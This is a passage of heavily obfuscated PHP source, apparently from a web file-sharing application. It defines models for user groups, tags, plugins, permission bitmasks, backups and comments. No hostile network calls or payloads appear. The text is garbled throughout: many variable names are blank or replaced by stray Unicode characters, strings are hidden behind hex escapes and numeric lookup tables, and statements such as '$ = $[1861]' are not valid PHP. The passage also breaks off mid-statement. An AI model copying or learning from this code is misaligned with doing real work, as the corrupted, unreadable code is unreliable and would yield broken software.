$Ʒ[$ԕ[466]][$ԕ[1948]]); if ($曗) { $ = array_merge($, $曗); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $ = $[1861]; $ʹ = $this->select(); $ʹ = array_to_keyvalue($ʹ, $); foreach ($ʹ as $Թ) { $렂΅ = $Թ; $̊ = array(); while ($렂΅[$[432]] != 0) { $̊[] = $렂΅[$[432]]; $렂΅ = $ʹ[$렂΅[$[432]]]; } $̊[] = 0; $̊ = $[50] . implode($[50], array_reverse($̊)) . $[50]; $this->setNamePinyin($Թ[$], $Թ[$[32]]); $this->where(array($ => $Թ[$]))->save(array($[580] => $̊)); } return $ʹ; } public function groupNameAuto($놲, $) { $Ȏ =& $_SERVER[]; $ = $this->where(array($Ȏ[401] => $놲))->getField($Ȏ[32], !0); if (!$ || !in_array($, $)) { return $; } for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "\x28{$}\x29"; if (!in_array($, $)) { return $; } } } public function groupSwitch($Ӧ, $) { $ =& $_SERVER[]; $Ռ = array($[1861] => array($[7], array($Ӧ, $))); $ = $this->where($Ռ)->select(); $ = array_to_keyvalue($, $[1861]); if (!isset($[$Ӧ]) || !isset($[$]) || $[$Ӧ][$[432]] == 0) { return !1; } $Ռ = array($[1861] => $Ӧ); $ = Model($[1951])->where($Ռ)->select(); if (!$) { $ = array(); } foreach ($ as $) { $Ϣ = $[$[1670]]; $Ռ = array($[1670] => $Ϣ, $[1861] => $); $ = Model($[1951])->where($Ռ)->find(); if (!$) { $ = array($ => $[$[1965]]); Model($[525])->userGroupAdd($Ϣ, $); } Model($[525])->userGroupRemove($Ϣ, $Ӧ); } $Ռ = array($[411] => 2, $[432] => 0, $[410] => 1, $[496] => array($[7], array($Ӧ, $))); $㬖 = Model($[824])->where($Ռ)->field($[1966])->select(); $㬖 = array_to_keyvalue($㬖, $[496], $[402]); $ϒ = !empty($㬖[$Ӧ]) ? $㬖[$Ӧ] : !1; if ($ϒ) { if (!$㬖[$]) { $㬖[$] = Model($[824])->groupRootAdd($); } $Dž = $㬖[$]; $Ռ = array($[432] => $ϒ); $㬖 = Model($[824])->where($Ռ)->field($[1967])->select(); if (!$㬖) { $㬖 = array(); } Model($[824])->moveClearAuth = !1; foreach ($㬖 as $) { $ = $[$[410]] == $[88] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[824])->move($[$[402]], $Dž, $); } Model($[824])->moveClearAuth = !0; $Ռ = array($[411] => 2, $[496] => $Ӧ); $ϟޢ = array($[496] => $); Model($[1968])->where($Ռ)->save($ϟޢ); Model($[1969])->where($Ռ)->save($ϟޢ); } $this->_changeChildLevel($[$Ӧ], $[$], !0); $this->where(array($[432] => $Ӧ))->save(array($[432] => $)); $this->_clearChildrenCache($[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\145\162\137\146\x61\x76"; protected function cacheFunctionAlias($) { $ѷ =& $_SERVER[]; return array($ѷ[1970] => array($[0], $ѷ[1971]), $ѷ[1972] => array($[0], $ѷ[1973])); } protected function get($) { $ =& $_SERVER[]; $ް = Model($[512])->metaGet($, $[1974]); $ǧ = json_decode($ް, !0); return $ǧ ? $ǧ : array($[1975] => $[88], $[369] => array()); } protected function set($踚, $) { $萜 =& $_SERVER[]; $ = $ ? $ : array($萜[1975] => $萜[88], $萜[369] => array()); return Model($萜[512])->metaSet($踚, $萜[1974], json_encode($)); } protected function getByTagID($䋈, $˜) { $ε =& $_SERVER[]; if (!$䋈 || !$˜) { return !1; } if (!Model($ε[512])->getInfoSimple($䋈)) { return !1; } $ = $this->get($䋈); if (!$ || !isset($[$ε[369]])) { return !1; } $ = array_find_by_field($[$ε[369]], $ε[399], $˜); return is_array($) ? $ : !1; } public function listSource($, $ś) { $˭ǭ =& $_SERVER[]; if ($ś && !is_array($ś)) { $ś = array($ś); } $֝ϭ = $this->listData($); $Ǯ = array(); foreach ($֝ϭ as $) { $ = $[$˭ǭ[84]]; if (!$) { continue; } if (!isset($Ǯ[$])) { $Ǯ[$] = array(); } $Ǯ[$][] = $[$˭ǭ[426]]; } $븂 = array(); foreach ($Ǯ as $٥ => $) { $ = !0; if (!$ś) { $븂[] = $٥; continue; } foreach ($ś as $̎) { if (!in_array($̎, $)) { $ = !1; break; } } if ($) { $븂[] = $٥; } } if (!$븂) { return array(); } $ = array($˭ǭ[417] => array($˭ǭ[418], $븂), $˭ǭ[496] => $, $˭ǭ[411] => SourceModel::TYPE_GROUP); $ݥ = Model($˭ǭ[1341])->listSource($); if (!$ݥ || count($븂) == $ݥ[$˭ǭ[366]][$˭ǭ[367]]) { return $ݥ; } $ = array(); $ = array_to_keyvalue($ݥ[$˭ǭ[82]], $˭ǭ[12], $˭ǭ[402]); $ = array_to_keyvalue($ݥ[$˭ǭ[83]], $˭ǭ[12], $˭ǭ[402]); $ = array_merge($, $); foreach ($븂 as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($, $); } return $ݥ; } protected function listData($ō) { $ᤕƂ =& $_SERVER[]; $ = array($ᤕƂ[1661] => 0, $ᤕƂ[483] => array($ᤕƂ[1976], 0), $ᤕƂ[422] => $ᤕƂ[1977] . $ō); $ = $ᤕƂ[1978]; $ = $this->field($)->where($)->order($ᤕƂ[1979])->select(); return $ ? $ : array(); } protected function addToTag($ɲ, $, $ԗ) { $̩ =& $_SERVER[]; if (!$this->getByTagID($ɲ, $ԗ) || !$) { return !1; } if (!Model($̩[824])->pathInfo($)) { return !1; } $卅 = array($̩[1661] => 0, $̩[483] => $ԗ, $̩[421] => $, $̩[422] => $̩[1980] . $ɲ, $̩[420] => $̩[12], $̩[1865] => 0); if ($this->where($卅)->find()) { return !1; } return $this->add($卅); } protected function removeFromTag($ǟ, $Đ⢔, $Ǥ) { $ƺ =& $_SERVER[]; if (!$this->getByTagID($ǟ, $Ǥ) || !$Đ⢔) { return !1; } if (is_array($Đ⢔)) { $Đ⢔ = array($ƺ[7], $Đ⢔); } $ž = array($ƺ[1661] => 0, $ƺ[483] => $Ǥ, $ƺ[422] => $ƺ[1980] . $ǟ, $ƺ[421] => $Đ⢔); return $this->where($ž)->delete(); } protected function removeByTag($՛Ɓ, $) { $櫁 =& $_SERVER[]; if (!$this->getByTagID($՛Ɓ, $)) { return !1; } $ = array($櫁[1661] => 0, $櫁[483] => $, $櫁[422] => $櫁[1980] . $՛Ɓ); return $this->where($)->delete(); } protected function removeBySource($, $ڻ) { $բѥ =& $_SERVER[]; if (!$ || !$ڻ) { return !1; } if (is_array($ڻ)) { $ڻ = array($բѥ[7], $ڻ); } $֬浫 = array($բѥ[1661] => 0, $բѥ[421] => $ڻ, $բѥ[483] => array($բѥ[1016], 0), $բѥ[422] => $բѥ[1980] . $); return $this->where($֬浫)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\x79\163\164\x65\155\x2e\160\154\x75\147\151\156\114\x69\163\164"; public $field = array("\x6e\x61\x6d\x65", "\x73\x74\141\164\165\163", "\x72\x65\x67\x69\x65\163\x74", "\x63\x6f\x6e\x66\x69\x67"); public function loadList($Ճ = false) { $ąт = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($Ճ) { return $ąт[$Ճ]; } return $ąт; } public function init() { $آ =& $_SERVER[]; Hook::trigger($آ[1981]); $ = $this->loadPluginList(); foreach ($ as $ => $Ŷؿ) { $ì = $this->appAllow($, $Ŷؿ); if (!$ì) { continue; } foreach ($Ŷؿ[$آ[1982]] as $ => $ߐ) { Hook::bind($, $ߐ); } } Hook::trigger($آ[1983]); Hook::trigger(ACTION); } public function appAllow($, $, $˗ť = true) { $ =& $_SERVER[]; $ = PLUGIN_DIR . $ . $[1984]; if (!is_array($) || !is_array($[$[1982]]) || $[$[748]] != 1 || !is_file($)) { return !1; } if ($GLOBALS[$[494]] == 1) { if ($GLOBALS[$[6]][$[1985]] || !$GLOBALS[$[6]][$[1986]]) { return !0; } $ = explode($[50], strtolower($GLOBALS[$[6]][$[1986]])); return in_array(strtolower($), $) ? !1 : !0; } if ($˗ť && !Action($[1987])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $ї =& $_SERVER[]; $ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $ї[1988]); } $this->remove($[$ї[399]]); } public function changeStatus($֕, $) { $锒 =& $_SERVER[]; $ő = $this->loadList($֕); if ($) { Hook::apply($֕ . $锒[1989]); } $this->update($ő[$锒[399]], array($锒[1990] => $)); } public function appRegist($, $̓) { $ǔ =& $_SERVER[]; $ڇ = $this->loadList($); if ($ڇ) { $this->update($ڇ[$ǔ[399]], array($ǔ[1982] => $̓)); } else { $̋ = array($ǔ[32] => $, $ǔ[1982] => $̓, $ǔ[748] => 0, $ǔ[6] => $this->getConfigDefault($)); $this->insert($̋); } } public function getConfigDefault($) { $͠ =& $_SERVER[]; $ = array(); $ӗ = $this->getPackageJson($); if (!$ӗ && is_array($ӗ[$͠[1991]])) { return $; } foreach ($ӗ[$͠[1991]] as $䏑 => $м) { if (!isset($м[$͠[374]]) || isset($[$䏑])) { continue; } $[$䏑] = $м[$͠[374]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[][1992]); } public function getConfig($גݫ, $ٽ = false) { $Γ =& $_SERVER[]; $ = array(); $ = $this->loadList($גݫ); if ($ && is_array($[$Γ[6]])) { $ = $[$Γ[6]]; } if (!$ || $ٽ) { $ = $this->getConfigDefault($גݫ); } return $; } public function setConfig($阻, $ӝ = false) { $쌚 =& $_SERVER[]; $ = $this->loadList($阻); if (!$) { return !1; } $ = $[$쌚[6]]; if ($ӝ == !1) { $ = array(); $ӝ = $this->getConfigDefault($阻); } foreach ($ӝ as $П => $) { $[$П] = is_string($) ? trim($) : $; } $this->update($[$쌚[399]], array($쌚[6] => $)); } public function viewList() { $ =& $_SERVER[]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $̱ = array(); foreach ($ as $ => $͔Ƹ) { unset($͔Ƹ[$[1982]], $͔Ƹ[$[6]]); $ﲬ٣ = PLUGIN_DIR . $͔Ƹ[$[32]] . $[1984]; if (!is_file($ﲬ٣)) { continue; } $ڡ̧ = Hook::apply($͔Ƹ[$[32]] . $[1992]); if (is_array($ڡ̧)) { $̱[$] = array_merge($͔Ƹ, $ڡ̧); } } return $̱; } private function loadPluginList() { $ =& $_SERVER[]; $Ьϭ = $this->loadList(); if (strtolower(MOD) == $[1993]) { return $Ьϭ; } $ݎ = Hook::trigger($[1994], $Ьϭ); if ($Ьϭ && !$ݎ) { die; } return $ݎ ? $ݎ : $Ьϭ; } private function pluginScan($) { $ӽ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $Ͷ, $Ō, 0); foreach ($Ͷ as $ϵ) { $٘Ҩ = get_path_this($ϵ); if (isset($[$٘Ҩ]) || !file_exists($ϵ . $ӽ[1995]) || !file_exists($ϵ . $ӽ[1984])) { continue; } Hook::apply($٘Ҩ . $ӽ[1989]); } } } goto Fݛ; AԳ: class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ֻז =& $_SERVER[]; $ = array(array($ֻז[420] => LNG($ֻז[1862]), $ֻז[1863] => $ֻז[1864], $ֻז[1865] => 1, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($ֻז[420] => LNG($ֻז[1868]), $ֻז[1863] => $ֻז[1869], $ֻז[1865] => 2, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($ֻז[420] => LNG($ֻז[1870]), $ֻז[1863] => $ֻז[1871], $ֻז[1865] => 3, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($ֻז[420] => LNG($ֻז[1872]), $ֻז[1863] => $ֻז[1873], $ֻז[1865] => 4, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW), array($ֻז[420] => LNG($ֻז[1874]), $ֻז[1863] => $ֻז[1875], $ֻז[1865] => 5, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($ֻז[420] => LNG($ֻז[1876]), $ֻז[1863] => $ֻז[1877], $ֻז[1865] => 6, $ֻז[1866] => 1, $ֻז[1867] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($ֻז[420] => LNG($ֻז[1878]), $ֻז[1863] => $ֻז[1879], $ֻז[1865] => 7, $ֻז[1866] => 1, $ֻז[1867] => 0)); return $; } public static function authCheck($, $ݣ) { $䢼 =& $_SERVER[]; $ = intval($); if ($GLOBALS[$䢼[494]] && $GLOBALS[$䢼[6]][$䢼[1880]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $ݣ); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($짦) { return self::authCheck($짦, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($搴Ӟ) { return self::authCheck($搴Ӟ, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($ˬ) { return self::authCheck($ˬ, self::AUTH_COMMENT); } public static function authCheckEvent($Ū) { return self::authCheck($Ū, self::AUTH_EVENT); } public static function authCheckRoot($ٕ) { return self::authCheck($ٕ, self::AUTH_ROOT); } public static function authCheckAction($Ў, $) { $ـ =& $_SERVER[]; $֖ = array($ـ[1881] => self::AUTH_VIEW, $ـ[1196] => self::AUTH_DOWNLOAD, $ـ[107] => self::AUTH_UPLOAD, $ـ[1831] => self::AUTH_EDIT, $ـ[1830] => self::AUTH_REMOVE, $ـ[1841] => self::AUTH_SHARE, $ـ[354] => self::AUTH_COMMENT, $ـ[1658] => self::AUTH_EVENT, $ـ[1882] => self::AUTH_ROOT); if (!isset($֖[$])) { return; } $ށ = $֖[$]; $Ў = intval($Ў); if ($Ў <= 0) { return !1; } if (($Ў & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($Ў & $ށ); } public static function authDisable($, $Ƹ) { if (intval($) <= 0) { return 0; } return intval($) & ~$Ƹ; } public $optionType = "\123\171\163\x74\x65\155\56\163\157\x75\162\x63\x65\x41\165\164\150\x4c\x69\163\x74"; public $field = array("\x6e\x61\155\145", "\141\165\164\150", "\154\141\x62\x65\x6c", "\144\151\x73\160\x6c\x61\x79", "\163\x79\x73\164\145\x6d", "\x73\157\x72\164"); public function initData() { $ɣ = $this->authDefault(); foreach ($ɣ as $ҷʾ) { $this->add($ҷʾ); } } public function findAuth($铮, $) { $ =& $_SERVER[]; $ = parent::listData(); foreach ($ as $垨) { $ϓ = intval($垨[$[413]]); if ($ϓ <= 0 || $垨[$[1883]] == 0) { continue; } if (($ϓ & $铮) != $铮) { continue; } if (($ϓ & $) != 0) { continue; } return $垨[$[399]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if ($[$[413]] <= 0 || $[$[1883]] == $[198]) { continue; } if (!$) { $ = $; continue; } if ($[$[413]] > $[$[413]]) { $ = $; } } return $ ? $[$[399]] : $[12]; } public function listData($ܽ = false, $ǭ = "\x73\157\x72\164", $ = false) { return parent::listData($ܽ, $ǭ, $); } public function update($͕, $ũ) { $ =& $_SERVER[]; $܀ = parent::listData($͕); $። = $this->findByName($ũ[$[32]]); if (!$܀ || $። && $።[$[399]] != $܀[$[399]]) { return !1; } $this->filterAuth($ũ[$[413]]); return parent::update($͕, $ũ); } public function remove($ŕ) { $ˎؤ = parent::listData($ŕ); if (!$ˎؤ || $ˎؤ[$_SERVER[][1286]]) { return !1; } return parent::remove($ŕ); } public function add($ = array()) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $Ȭ = array($[32] => $[12], $[413] => 1, $[1884] => $[1871], $[1883] => 1, $[1286] => 0, $[1885] => 0); $ = array_merge($Ȭ, $); $[$[1885]] = $this->getSort(); $this->filterAuth($[$[413]]); return parent::insert($); } private function getSort() { $ـ =& $_SERVER[]; $О = parent::listData(); $̈ = array_to_keyvalue($О, $ـ[12], $ـ[1885]); return empty($̈) ? 0 : max($̈) + 1; } private function filterAuth(&$ՠ) { if (!$ՠ) { return; } $Ѥ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $Ҁ = array(); foreach ($Ѥ as $ɛ) { if ($ՠ & $ɛ) { $Ҁ[] = $ɛ; } } if (in_array(self::AUTH_ROOT, $Ҁ)) { $ՠ = array_sum($Ѥ); return; } $Օ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($Ҁ as $ɛ) { if (isset($Օ[$ɛ])) { $Ҁ = array_merge($Ҁ, $Օ[$ɛ]); } } $Ҁ[] = self::AUTH_SHOW; $ՠ = array_sum(array_unique($Ҁ)); } public function sort($먉, $鶓) { return parent::update($먉, $鶓); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\155\56\142\141\143\x6b\165\160\114\151\163\x74"; public $field = array("\x69\157", "\x6e\141\155\145", "\163\164\141\x74\x75\x73", "\x63\x6f\x6e\164\145\156\x74", "\x6d\x61\156\x75\141\x6c", "\162\x65\x73\165\x6c\164", "\164\x69\155\x65\106\162\157\x6d", "\164\x69\x6d\145\124\x6f"); public function config() { $էŴ =& $_SERVER[]; $ = Model($էŴ[769])->get($էŴ[779]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$էŴ[753]])) { $[$էŴ[753]] = $էŴ[88]; } unset($[$էŴ[1640]]); Action($էŴ[1886])->taskInit(); Model($էŴ[1639])->cacheClear(); $ = $էŴ[1887]; $˕ = Model($էŴ[1888])->findByKey($էŴ[1658], $); if (!$˕) { $˕ = array(); } if (isset($˕[$էŴ[180]])) { $˕[$էŴ[180]] = json_decode($˕[$էŴ[180]], !0); } if (isset($[$էŴ[180]])) { $˕[$էŴ[180]][$էŴ[1643]] = $[$էŴ[180]]; unset($[$էŴ[180]]); } return array_merge($˕, $); } public function listData($ = false, $ = "\155\157\x64\151\x66\171\x54\151\155\x65", $ǹ = false) { return parent::listData($, $, !0); } public function lastItem() { $ګݎ = $this->listData(); return !empty($ګݎ[0]) ? $ګݎ[0] : null; } public function kill($ޯ) { $ =& $_SERVER[]; $伾 = $this->listData($ޯ); if (!$伾 || empty($伾[$[32]])) { return !0; } Task::kill($[778]); Task::kill($[799]); Task::kill($[808]); $Ѧ = $伾[$[32]]; $Ê = TEMP_FILES . $[777] . $Ѧ . $[8]; IO::remove($Ê, !1); return $this->remove($ޯ); } public function remove($) { $χ = $this->listData($); if (!$χ) { return !0; } return $this->backupRemove($χ); } private function backupRemove($؆) { parent::remove($؆[$_SERVER[][399]]); $ = $this->backupPath($؆); IO::remove($, !1); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $̲ = Model($[769])->get($[770]); $ = substr(md5($[771] . $̲ . $), 0, 8); return "\173\x69\157\72{$[$[750]]}\175\x2f\144\141\x74\x61\142\x61\x73\x65\57\142\x61\x63\x6b\x75\160\57" . $ . $[11] . $; } public function start() { $ି =& $_SERVER[]; if ($GLOBALS[$ି[6]][$ି[89]][$ି[1889]] != $ି[88]) { return !0; } $ = $this->config(); if (!$ || $[$ି[1640]] != $ି[88]) { return !1; } $ݱ = $this->process(); foreach ($ݱ as $) { if ($) { return Task::restart($[$ି[399]]); } } $Ο = new Backup(); $挗 = $Ο->db(); if ($挗) { $挗 = $Ο->dbFile(); if ($挗 && $[$ି[753]] == $ି[198]) { $挗 = $Ο->file(); } } Backup::set(array($ି[748] => 1, $ି[760] => time())); return !0; } public function process() { $ =& $_SERVER[]; $˒ = array($[756] => Task::get($[778]), $[761] => Task::get($[799]), $[200] => Task::get($[808])); $ = !1; foreach ($˒ as &$) { if ($) { $ = !1; continue; } if ($) { $ُ = intval(_get($, $[1675], 0)); if (time() - $ُ > 7200) { Task::kill($[$[399]]); $ = !0; $ = !1; } } } return $˒; } public function restore() { $˅ =& $_SERVER[]; ActionCall($˅[1062], !0, 1); ActionCall($˅[1062], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "\143\157\155\155\145\156\x74"; protected $tableMeta = array("\x74\141\142\154\x65\x4e\141\155\x65" => "\x63\157\155\x6d\x65\x6e\164\137\155\145\164\x61", "\155\145\164\141\x46\151\145\154\144" => "\x63\x6f\155\155\145\156\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($ó) { $ߠ =& $_SERVER[]; if ($ó[$ߠ[1890]]) { $Ըˤ = $this->where(array($ߠ[1891] => $ó[$ߠ[1890]]))->find(); if (!$Ըˤ || $Ըˤ[$ߠ[411]] != $ó[$ߠ[411]] || $Ըˤ[$ߠ[496]] != $ó[$ߠ[496]]) { return !1; } $this->where(array($ߠ[1891] => $ó[$ߠ[1890]]))->setAdd($ߠ[1892], 1); } $ó[$ߠ[1893]] = 0; $ó[$ߠ[1892]] = 0; $ó[$ߠ[748]] = 1; return $this->add($ó); } public function commentCount($, $ǫ, $˞ = false) { $͚ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($͚[496], $͚[1894] => $͚[491]); $ = array($͚[496] => array($͚[7], $), $͚[411] => $ǫ); if ($˞) { $[$͚[1670]] = $˞; } $ʍ = $this->field($)->where($)->group($͚[496])->select(); return array_to_keyvalue($ʍ, $͚[496], $͚[491]); } public function starTarget($ċ, $) { $ =& $_SERVER[]; $ = $ċ + self::TYPE_STAR_OFFSET; $ = array($[1670] => USER_ID, $[411] => $, $[496] => $); $˘ߨ = $this->where($)->find(); if ($˘ߨ) { return $this->where(array($[399] => $˘ߨ[$[399]]))->delete(); } $ځ = array($[1890] => 0, $[1670] => USER_ID, $[748] => 1, $[753] => $[12], $[411] => $, $[496] => $, $[1893] => 0, $[1892] => 0); return $this->add($ځ); } public function starTargetCount($ۄ, $) { $ =& $_SERVER[]; $¬ = $ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($ۄ, $¬); $Ằ = $this->commentCount($ۄ, $¬, USER_ID); return array($[1895] => $, $[1896] => $Ằ); } public function starTargetUserList($, $) { $Ǎ =& $_SERVER[]; $֥ŕ = $ + self::TYPE_STAR_OFFSET; $ = array($Ǎ[496] => $, $Ǎ[411] => $֥ŕ); $ = $this->where($)->count(); $ߟ = array($Ǎ[255] => $, $Ǎ[1897] => array()); if (!$) { return $ߟ; } $Ɛ = $this->field($Ǎ[1670])->where($)->limit(500)->select(); $Ɛ = array_to_keyvalue($Ɛ, $Ǎ[12], $Ǎ[1670]); $ߟ[$Ǎ[1897]] = Model($Ǎ[504])->userListInfo($Ɛ); return $ߟ; } public function prasiseUserList($얼) { $Ƞ =& $_SERVER[]; $Ǐ = array($Ƞ[1898] => $얼); $ = $this->where($Ǐ)->find(); $ = _get($, $Ƞ[1893], 0); $ѝꀧ = array($Ƞ[255] => $, $Ƞ[1897] => array()); if (!$) { return $ѝꀧ; } $ = Model($Ƞ[1899])->field($Ƞ[1670])->where($Ǐ)->limit(500)->select(); $ = array_to_keyvalue($, $Ƞ[12], $Ƞ[1670]); $ѝꀧ[$Ƞ[1897]] = Model($Ƞ[504])->userListInfo($); return $ѝꀧ; } public function remove($ѫ) { $ =& $_SERVER[]; $Ͽ = array($[1891] => $ѫ); $Νε = $this->where($Ͽ)->find(); if ($Νε[$[1890]]) { $this->where(array($[1891] => $Νε[$[1890]]))->setAdd($[1892], -1); } return $this->where($Ͽ)->delete(); } public function edit($, $ڌ) { $ـ =& $_SERVER[]; $ʥ = array($ـ[1891] => $); return $this->where($ʥ)->save(array($ـ[1900] => $ڌ)); } public function prasise($뉂) { $鐓ͱ =& $_SERVER[]; $Ɨ = Model($鐓ͱ[1901]); $д = array($鐓ͱ[1891] => $뉂, $鐓ͱ[1661] => USER_ID); $ = $Ɨ->where($д)->find(); if (!$) { $Ɨ->add($д); $ = $this->where(array($鐓ͱ[1891] => $뉂))->setAdd($鐓ͱ[1893], 1); } else { $Ɨ->where($д)->delete(); $ = $this->where(array($鐓ͱ[1891] => $뉂))->setAdd($鐓ͱ[1893], -1); } return $; } public function targetInfo($̲, $ô) { $ =& $_SERVER[]; $ = array($[576] => $̲, $[577] => $ô); $߁ = $this->where($)->count(); $ɋ = "\122\x49\x47\x48\124\x20\112\x4f\x49\116\40{$this->tablePrefix}\x63\x6f\x6d\x6d\x65\x6e\164\x5f\160\x72\141\x69\163\x65\40\x73\x74\x61\162\40\157\x6e\x20\143\157\155\155\145\x6e\x74\56\143\x6f\155\155\145\x6e\x74\111\104\x20\75\x20\163\x74\x61\162\x2e\143\x6f\x6d\155\x65\x6e\x74\111\104"; $ = $this->alias($[354])->where($)->join($ɋ, $[1902])->count(); $ɇ = array($[1903] => $߁, $[1904] => $); return $ɇ; } public function listData($Ȗ) { $ =& $_SERVER[]; if (isset($Ȗ[$[1905]])) { if ($Ȗ[$[1905]]) { $Ȗ[$[1898]] = array($[1016], intval($Ȗ[$[1905]])); } unset($Ȗ[$[1905]]); } if (isset($Ȗ[$[1906]])) { if ($Ȗ[$[1906]]) { $Ȗ[$[1898]] = array($[1013], intval($Ȗ[$[1906]])); } unset($Ȗ[$[1906]]); } return $this->_listData($Ȗ); } private function _listData($) { $ߢ =& $_SERVER[]; $۟ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($۟[$ߢ[369]]); $this->_listAppendUser($۟[$ߢ[369]]); $this->_listAppendMeta($۟[$ߢ[369]]); return $۟; } private function _makeOrder() { $䬪 =& $_SERVER[]; $ = array($䬪[1893], $䬪[1892], $䬪[201]); $߿ = Input::get($䬪[457], $䬪[7], $䬪[423], $); $Ϊ = Input::get($䬪[458], $䬪[7], $䬪[1663], array($䬪[1907], $䬪[453])); $ԯ = $߿ . $䬪[53] . $Ϊ; return $this->order($ԯ); } private function _listAppendParent(&$𤄼) { $Ŭ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($𤄼, $Ŭ[12], $Ŭ[1890])); $ = array_remove_value($, $Ŭ[198]); if (!$) { return; } $ = $this->where(array($Ŭ[1891] => array($Ŭ[7], $)))->select(); $ = array_to_keyvalue($, $Ŭ[1898]); foreach ($𤄼 as &$؊) { if (isset($[$؊[$Ŭ[1890]]])) { $؊[$Ŭ[1908]] = $[$؊[$Ŭ[1890]]]; } } unset($؊); } private function _listAppendUser(&$) { $픹 =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $픹[12], $픹[1670])); $ = array_remove_value($, $픹[198]); if (count($) == 0) { return; } foreach ($ as $) { if (isset($[$픹[1908]])) { $[] = $[$픹[1908]][$픹[1670]]; } } $ʴҦ = Model($픹[525])->userListInfo($); foreach ($ as &$) { $[$픹[590]] = $ʴҦ[$[$픹[1670]]]; if (isset($[$픹[1908]])) { $[$픹[1908]][$픹[590]] = $ʴҦ[$[$픹[1908]][$픹[1670]]]; } } unset($); } private function _listAppendMeta(&$ʶ) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($ʶ, $[12], $[1898])); $ = array_remove_value($, $[198]); if (!$) { return; } foreach ($ʶ as $՝) { if (isset($՝[$[1908]])) { $[] = $՝[$[1908]][$[1898]]; } } $߆ = $this->metaList($); if (!$߆) { return !1; } foreach ($ʶ as &$՝) { $՝[$[466]] = $߆[$՝[$[1898]]]; if 